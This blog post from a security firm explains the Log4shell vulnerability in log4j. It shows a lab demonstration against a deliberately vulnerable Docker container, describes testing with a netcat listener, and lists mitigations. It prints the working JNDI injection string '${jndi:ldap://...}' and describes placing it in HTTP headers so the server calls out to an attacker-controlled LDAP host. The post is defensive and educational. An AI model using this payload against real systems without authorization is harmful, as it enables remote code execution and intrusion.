Log4shell: How Attackers are Breaking the Internet, and How to Mitigate // Echelon Risk + Cyber

Log4j Explained

Websites are like buildings. The buildings you visit differ in their purposes, features, and aesthetics. And on the internet, some buildings are stuffed with cats.

But despite their differences, these buildings sit on largely similar foundations. This means if an attacker finds a simple way to break a common aspect of these foundations, they can compromise many buildings.

On Thursday, December 9^th, an attacker released a method to compromise the foundation of many websites and services. How many? The best estimate so far is “countless.”

And not only is the target ubiquitous, but the method is also very easy, which adds to the danger of the situation.

As you have likely seen, the foundational aspect in question is the logging package “log4j.” The vulnerability in this package has now been named “log4shell,” and it is a two-stage remote code execution (RCE) vulnerability.

Its ease of exploitation results from its ability to be triggered by getting a specially crafted string anywhere into the affected application’s logs. Attackers take advantage of this by poisoning requests to webservers with many of these strings, seeing where it results in compromise.

So far, it has been wildly successful, with affected companies including Apple, Twitter, Amazon, and Google. This git repository tracks large, exploited companies with evidence.

To help you understand what to do next, here’s an overview of the attack, an example of how it is carried out, how to test for it, and how to mitigate it. Hopefully we can help you fix your foundation before it becomes one of the “countless” affected sites and services.

Attack Overview

Achieving RCE via this exploit occurs in two stages:

Poisoning the site’s logs to reach out to a malicious resource
Hosting the malicious resource so it will execute on the target machine

The actual code execution occurs in most cases by hosting a malicious Java class, which can then be de-serialized and run by the target server after poisoning the logs. The below exploitation example provides a demonstration of how simple it is for an attacker to poison the logs on an affected service.

Technical Exploitation Example

Cloud security engineer Christophe Tafani-Dereeper created a docker image to easily test the vulnerability yourself. You can find the image repository here.

First, run the following command to pull the image and create a vulnerable container locally:

docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

You should receive output like the following:

Figure 1 - Vulnerable application using log4j

To exploit the vulnerability, you simply need to get the string:

${jndi:ldap://resource/a}

into the logs, where “resource” is what the affected server will reach out to.

In the following example, I put the string into the “User-Agent” and “X-Api-Version” headers. This is because the application requires the “X-Api-Version” header, but any parameter may be vulnerable.

Figure 2 - Sending a request to the vulnerable service

Upon doing this, you will receive output from the container stating that a lookup occurred, and you may receive a “Hello world” message in addition to this.

More interesting than this, however, would be seeing the actual data sent by the server when reaching out.

To do this, obtain an interactive session in the docker container with:

docker exec -it container_name /bin/sh

Figure 3 - Obtaining a session in the container

You can then use a tool like NetCat to listen on port 389 for arbitrary data from LDAP. If the server calls back to us after sending our poisoned string, then we can externally validate that it is vulnerable.

Figure 4 - Listening for LDAP connections

Now, after using the same request as earlier to send a poisoned string to the server, you can see the connection:

Figure 5 - Connection obtained from vulnerable server

Above, you can see the connection, as well as the ability to send data back (those lines were typed manually into the session).

How to Test Yourself

You can use this same method to test servers externally, provided you have a public IP on which you can listen for callbacks.

Many tools have been released to assist/automate this process, including one from Jake Murphy on the Echelon team. This tests your web apps with a quick-and-dirty Python script to automatically spider a website for GET/POST requests, filling discovered parameters with the ${jndi:ldap://xxx} payload. All you need is a NetCat listener running simultaneously.

Mitigation

This week’s edition of Cyber Intelligence Weekly contains helpful mitigation strategies, including:

Using your perimeter firewalls, restrict outbound access from your internet facing servers, particularly web servers
Change outbound firewall rules from web and application servers to default deny
Turn off recursive DNS on your web and application servers
Hunt for existing threat actor activity related to this exploit
Look into your NGAVs – some have created dashboards to hunt and investigate IOCs and TTPs surrounding this attack type (CrowdStrike has done this in Falcon)
Inventory all applications and systems that use Log4j
Upgrade to Apache Log4j 2.15.0
Block JNDI from making requests from untrusted infrastructure
Isolate affected infrastructure into its own separate vLAN

See the complete newsletter (and subscribe via LinkedIn) here.

Penetration Testing Note

The Echelon team has worked hard this week to incorporate extensive testing for the log4shell vulnerability into their penetration testing process using both automated tools and manual exploitation.

If you would like to comprehensively test for your exposure to this vulnerability, please reach out.